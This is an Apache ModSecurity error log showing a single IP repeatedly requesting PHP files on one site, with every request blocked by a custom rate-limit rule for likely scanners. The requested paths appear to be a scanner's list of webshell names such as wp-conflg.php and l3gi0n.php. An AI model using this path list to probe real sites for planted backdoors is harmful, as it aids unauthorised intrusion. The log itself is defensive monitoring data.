[Wed Dec 10 18:57:19.681406 2025] [:error] [pid 46868:tid 46892] [client 20.187.91.171:14299] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTlSD43NdlN2GOOyBjFilwAAARY"]
[Wed Dec 10 18:57:21.003150 2025] [:error] [pid 36975:tid 37001] [client 20.187.91.171:18687] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aTlSEd_ZNQ3zMmb38BFUXAAAAJU"]
[Wed Dec 10 18:57:21.820320 2025] [:error] [pid 36975:tid 36984] [client 20.187.91.171:55634] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/02.php"] [unique_id "aTlSEd_ZNQ3zMmb38BFUXgAAAIQ"]
[Wed Dec 10 18:57:23.274788 2025] [:error] [pid 36977:tid 37048] [client 20.187.91.171:18655] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/02.php"] [unique_id "aTlSE8c-JLl-uoL-Au6oIgAAAE4"]
[Wed Dec 10 18:57:24.575606 2025] [:error] [pid 36977:tid 37046] [client 20.187.91.171:18647] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/02.php"] [unique_id "aTlSFMc-JLl-uoL-Au6oJAAAAEw"]
[Wed Dec 10 18:57:25.194305 2025] [:error] [pid 37062:tid 37079] [client 20.187.91.171:56045] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/02.php"] [unique_id "aTlSFTB0I62HCw8Z5BRC9QAAAA8"]
[Wed Dec 10 18:57:27.563551 2025] [:error] [pid 37062:tid 37071] [client 20.187.91.171:37862] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aTlSFzB0I62HCw8Z5BRC9gAAAAc"]
[Wed Dec 10 18:57:29.570310 2025] [:error] [pid 49095:tid 49098] [client 20.187.91.171:55663] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aTlSGcorr4Jt2Tfx_EbJRAAAAUE"]
[Wed Dec 10 18:57:30.924818 2025] [:error] [pid 49095:tid 49111] [client 20.187.91.171:13757] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aTlSGsorr4Jt2Tfx_EbJRwAAAU4"]
[Wed Dec 10 18:57:31.972198 2025] [:error] [pid 46868:tid 46877] [client 20.187.91.171:50835] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aTlSG43NdlN2GOOyBjFioAAAAQc"]
[Wed Dec 10 18:57:33.563496 2025] [:error] [pid 49095:tid 49097] [client 20.187.91.171:56489] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTlSHcorr4Jt2Tfx_EbJSAAAAUA"]
[Wed Dec 10 18:57:33.890639 2025] [:error] [pid 49095:tid 49112] [client 20.187.91.171:37843] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTlSHcorr4Jt2Tfx_EbJSQAAAU8"]
[Wed Dec 10 18:57:34.497958 2025] [:error] [pid 37062:tid 37067] [client 20.187.91.171:13758] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTlSHjB0I62HCw8Z5BRC-AAAAAM"]
[Wed Dec 10 18:57:35.883063 2025] [:error] [pid 37062:tid 37086] [client 20.187.91.171:37853] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aTlSHzB0I62HCw8Z5BRC-QAAABY"]
[Wed Dec 10 18:57:36.344470 2025] [:error] [pid 46868:tid 46894] [client 20.187.91.171:44340] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "aTlSII3NdlN2GOOyBjFiowAAARg"]
[Wed Dec 10 18:57:37.252928 2025] [:error] [pid 37062:tid 37078] [client 20.187.91.171:56509] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "aTlSITB0I62HCw8Z5BRC-gAAAA4"]
[Wed Dec 10 18:57:37.872310 2025] [:error] [pid 37062:tid 37075] [client 20.187.91.171:56451] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "aTlSITB0I62HCw8Z5BRC-wAAAAs"]
[Wed Dec 10 18:57:39.040206 2025] [:error] [pid 49095:tid 49121] [client 20.187.91.171:56499] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ee.php"] [unique_id "aTlSI8orr4Jt2Tfx_EbJSwAAAVg"]
[Wed Dec 10 18:57:40.193973 2025] [:error] [pid 37062:tid 37064] [client 20.187.91.171:13628] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTlSJDB0I62HCw8Z5BRC_QAAAAA"]
[Wed Dec 10 18:57:41.574030 2025] [:error] [pid 36976:tid 37024] [client 20.187.91.171:50819] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTlSJSSpHW5KVaY9tJmMBAAAANE"]
[Wed Dec 10 18:57:42.703366 2025] [:error] [pid 49095:tid 49114] [client 20.187.91.171:13633] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTlSJsorr4Jt2Tfx_EbJTgAAAVE"]
[Wed Dec 10 18:57:43.788928 2025] [:error] [pid 37062:tid 37085] [client 20.187.91.171:18516] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTlSJzB0I62HCw8Z5BRC_gAAABU"]
[Wed Dec 10 18:57:44.791334 2025] [:error] [pid 46868:tid 46890] [client 20.187.91.171:50855] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "aTlSKI3NdlN2GOOyBjFipwAAARQ"]
[Wed Dec 10 18:57:46.585961 2025] [:error] [pid 37062:tid 37080] [client 20.187.91.171:13656] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "aTlSKjB0I62HCw8Z5BRC_wAAABA"]
[Wed Dec 10 18:57:47.940892 2025] [:error] [pid 36975:tid 36993] [client 20.187.91.171:52486] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "aTlSK9_ZNQ3zMmb38BFUaQAAAI0"]
[Wed Dec 10 18:57:49.072603 2025] [:error] [pid 36975:tid 36991] [client 20.187.91.171:52521] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "aTlSLd_ZNQ3zMmb38BFUawAAAIs"]
[Wed Dec 10 18:57:50.031051 2025] [:error] [pid 36977:tid 37056] [client 20.187.91.171:51503] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2a2ck.php"] [unique_id "aTlSLsc-JLl-uoL-Au6oKgAAAFY"]
[Wed Dec 10 18:57:50.984694 2025] [:error] [pid 49095:tid 49104] [client 20.187.91.171:44291] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2a2ck.php"] [unique_id "aTlSLsorr4Jt2Tfx_EbJUQAAAUc"]
[Wed Dec 10 18:57:51.849652 2025] [:error] [pid 36976:tid 37010] [client 20.187.91.171:50853] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2a2ck.php"] [unique_id "aTlSLySpHW5KVaY9tJmMBwAAAMM"]
[Wed Dec 10 18:57:52.485625 2025] [:error] [pid 49095:tid 49098] [client 20.187.91.171:18527] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2a2ck.php"] [unique_id "aTlSMMorr4Jt2Tfx_EbJUwAAAUE"]
[Wed Dec 10 18:57:53.218039 2025] [:error] [pid 46868:tid 46891] [client 20.187.91.171:13775] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/y7.PHP"] [unique_id "aTlSMY3NdlN2GOOyBjFiqAAAARU"]
[Wed Dec 10 18:57:54.956981 2025] [:error] [pid 49095:tid 49116] [client 20.187.91.171:52495] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/y7.PHP"] [unique_id "aTlSMsorr4Jt2Tfx_EbJVwAAAVM"]
[Wed Dec 10 18:57:56.367486 2025] [:error] [pid 46868:tid 46871] [client 20.187.91.171:56423] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/y7.PHP"] [unique_id "aTlSNI3NdlN2GOOyBjFiqgAAAQE"]
[Wed Dec 10 18:57:58.143636 2025] [:error] [pid 37062:tid 37076] [client 20.187.91.171:13673] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/y7.PHP"] [unique_id "aTlSNjB0I62HCw8Z5BRDAAAAAAw"]
[Wed Dec 10 18:57:59.189359 2025] [:error] [pid 36977:tid 37048] [client 20.187.91.171:52542] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yr.PHP"] [unique_id "aTlSN8c-JLl-uoL-Au6oLAAAAE4"]
[Wed Dec 10 18:57:59.838241 2025] [:error] [pid 37062:tid 37084] [client 20.187.91.171:18524] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yr.PHP"] [unique_id "aTlSNzB0I62HCw8Z5BRDAQAAABQ"]
[Wed Dec 10 18:58:02.036286 2025] [:error] [pid 37062:tid 37073] [client 20.187.91.171:56432] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yr.PHP"] [unique_id "aTlSOjB0I62HCw8Z5BRDAwAAAAk"]
[Wed Dec 10 18:58:04.420263 2025] [:error] [pid 37062:tid 37077] [client 20.187.91.171:52506] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yr.PHP"] [unique_id "aTlSPDB0I62HCw8Z5BRDBQAAAA0"]
[Wed Dec 10 18:58:05.303687 2025] [:error] [pid 36977:tid 37046] [client 20.187.91.171:13595] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/l3gi0n.php"] [unique_id "aTlSPcc-JLl-uoL-Au6oLQAAAEw"]
[Wed Dec 10 18:58:24.525715 2025] [:error] [pid 36975:tid 36998] [client 20.187.91.171:51440] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aTlSUN_ZNQ3zMmb38BFUfwAAAJI"]
[Wed Dec 10 18:58:24.984711 2025] [:error] [pid 49095:tid 49104] [client 20.187.91.171:54453] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aTlSUMorr4Jt2Tfx_EbJXgAAAUc"]
[Wed Dec 10 18:58:26.506068 2025] [:error] [pid 49095:tid 49098] [client 20.187.91.171:56935] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aTlSUsorr4Jt2Tfx_EbJXwAAAUE"]
[Wed Dec 10 18:58:27.090431 2025] [:error] [pid 49095:tid 49113] [client 20.187.91.171:56939] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gm.php"] [unique_id "aTlSU8orr4Jt2Tfx_EbJYQAAAVA"]
[Wed Dec 10 18:58:28.405183 2025] [:error] [pid 36976:tid 37030] [client 20.187.91.171:57947] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trplv.php"] [unique_id "aTlSVCSpHW5KVaY9tJmMEgAAANc"]
[Wed Dec 10 18:58:29.446688 2025] [:error] [pid 37062:tid 37069] [client 20.187.91.171:56422] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trplv.php"] [unique_id "aTlSVTB0I62HCw8Z5BRDEAAAAAU"]
[Wed Dec 10 18:58:29.897701 2025] [:error] [pid 46868:tid 46883] [client 20.187.91.171:57956] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trplv.php"] [unique_id "aTlSVY3NdlN2GOOyBjFitQAAAQ0"]
[Wed Dec 10 18:58:30.784182 2025] [:error] [pid 49095:tid 49108] [client 20.187.91.171:54405] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/trplv.php"] [unique_id "aTlSVsorr4Jt2Tfx_EbJZAAAAUs"]
[Wed Dec 10 18:58:31.303282 2025] [:error] [pid 36977:tid 37036] [client 20.187.91.171:57957] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aTlSV8c-JLl-uoL-Au6oMgAAAEI"]
[Wed Dec 10 18:58:32.387462 2025] [:error] [pid 49095:tid 49102] [client 20.187.91.171:13959] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aTlSWMorr4Jt2Tfx_EbJZgAAAUU"]
[Wed Dec 10 18:58:33.550863 2025] [:error] [pid 36975:tid 36983] [client 20.187.91.171:54439] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aTlSWd_ZNQ3zMmb38BFUgwAAAIM"]
[Wed Dec 10 18:58:35.072505 2025] [:error] [pid 49095:tid 49105] [client 20.187.91.171:54450] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ext.php"] [unique_id "aTlSW8orr4Jt2Tfx_EbJaAAAAUg"]
[Wed Dec 10 18:58:36.624037 2025] [:error] [pid 36975:tid 36985] [client 20.187.91.171:40455] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wa.php"] [unique_id "aTlSXN_ZNQ3zMmb38BFUhAAAAIU"]
[Wed Dec 10 18:58:37.562009 2025] [:error] [pid 49095:tid 49114] [client 20.187.91.171:57922] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wa.php"] [unique_id "aTlSXcorr4Jt2Tfx_EbJawAAAVE"]
[Wed Dec 10 18:58:38.658518 2025] [:error] [pid 37062:tid 37065] [client 20.187.91.171:18434] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wa.php"] [unique_id "aTlSXjB0I62HCw8Z5BRDHQAAAAE"]
[Wed Dec 10 18:58:39.408444 2025] [:error] [pid 36975:tid 36995] [client 20.187.91.171:51406] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wa.php"] [unique_id "aTlSX9_ZNQ3zMmb38BFUiAAAAI8"]
[Wed Dec 10 18:58:40.597805 2025] [:error] [pid 36976:tid 37028] [client 20.187.91.171:51396] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTlSYCSpHW5KVaY9tJmMGwAAANU"]
